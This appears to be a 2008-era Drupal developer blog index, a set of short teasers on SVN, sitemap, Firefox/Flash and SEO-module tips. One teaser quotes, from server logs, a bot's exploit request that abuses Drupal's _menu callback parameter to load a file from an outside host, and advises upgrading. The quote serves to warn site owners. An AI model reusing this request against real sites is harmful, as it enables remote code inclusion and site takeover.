Developer Karma

Recently I was developing a new site for a client that had exceptionally high processor usage for every page load.  Now I have other Drupal sites on this server that use a similar module setup but use a lot less processor.  My interest was piqued.

After working on a large project for about two months I was going through my usual pre-QA checklist and noticed that I had about 100 files that were converted over from the clients site that were not listed in svn.  I tried adding them one by one but kept getting the error "svn: invalid option character".   It turns out SVN doesn't like files that begin with dashes (or is it a hyphen?) which is understandable since it thinks it's an argument.

I just ran across a bug in Drupal that was drastically affecting my XML Sitemap listings.  The bug made it so my blog posts were listed as node/{number} in my sitemap rather than the path auto path.  After much searching it looks like the module weight on XML Sitemap was set to 2 so it was checking the nodes path before path-auto was setting the path alias.

Join me at MindComet's Headquarters in Altamonte Springs for the Florida Drupal Group's monthly meetup on Saturday, May 17, 2008 from 1 to 3 PM.

I've been using FF3 for a while now so I didn't notice this issue but as soon as I loaded FF2 it was obvious.   Firefox has issues when you dynamicly load flash through SWF object on a Mac.  In FF2 with a Mac all you'll see is a white box that requires you to click on it... then everything will look correct. If you don't want your users to have to click a flash object just to have the page look the way you intended then try the code below.

 

To fix it you just need to force a quick little behind the scenes redraw in javascript:

 

The Google Analytics module for Drupal does exactly what you would expect... it lets you add the Analytics code to your site without having to get dirty in any code!

In addition to standard Google Analytics tracking this module lets you track users by profile fields & file downloads which can be really powerful.

 

The steps to get Google Analytics working are simple:

If you run a drupal site you're more than likely seeing a bunch of errors in your error log like http://{your domain here}/drupal?_menu[callbacks][1][callback]=http%3A/%252Fpremier.com.tr/edestek/files/index.gif%3F%3F These are a result of bots trying to exploit a bug in Drupal 6.x that has now been fixed (please upgrade if your using an older version of Drupal 6).

Here's a few things you can do to mess up the bots

Find URL Alias (aka find_path) allows you to search through your sites alias listing (/admin/build/path) using wildcards allowing you to skip scrolling page by page to find the alias you want to edit. That's it, it just adds a search feature to the already existing url alias section.  It won't actually change your aliases, make them faster or solve world hunger but what it does do, it does well.

Global Redirect is a simple but incredibly useful module for SEO that makes sure users are going to the correct alias of a node since nodes can be aliased in multiple ways (clean url, unclean url, node/###) and duplicate content is a no-no in the SEO world. From the module page:

1. Checks the current URL for an alias and does a 301 redirect to it if it is not being used.
2. Checks the current URL for a trailing slash, removes it if present and repeats check 1 with the new request.

SEO Checklist is a must have Drupal Module for all Drupal sites. It creates a checklist with handy links to the modules/settings that help make your Drupal installation as SEO friendly as possible.
Now I know what you might be saying... "I'm a Drupal expert, I don't need a module to tell me what modules I should be running." Well, I don't believe you. Even the most grizzled developer can forget to add a module or *gasp* not know every Drupal module in existence.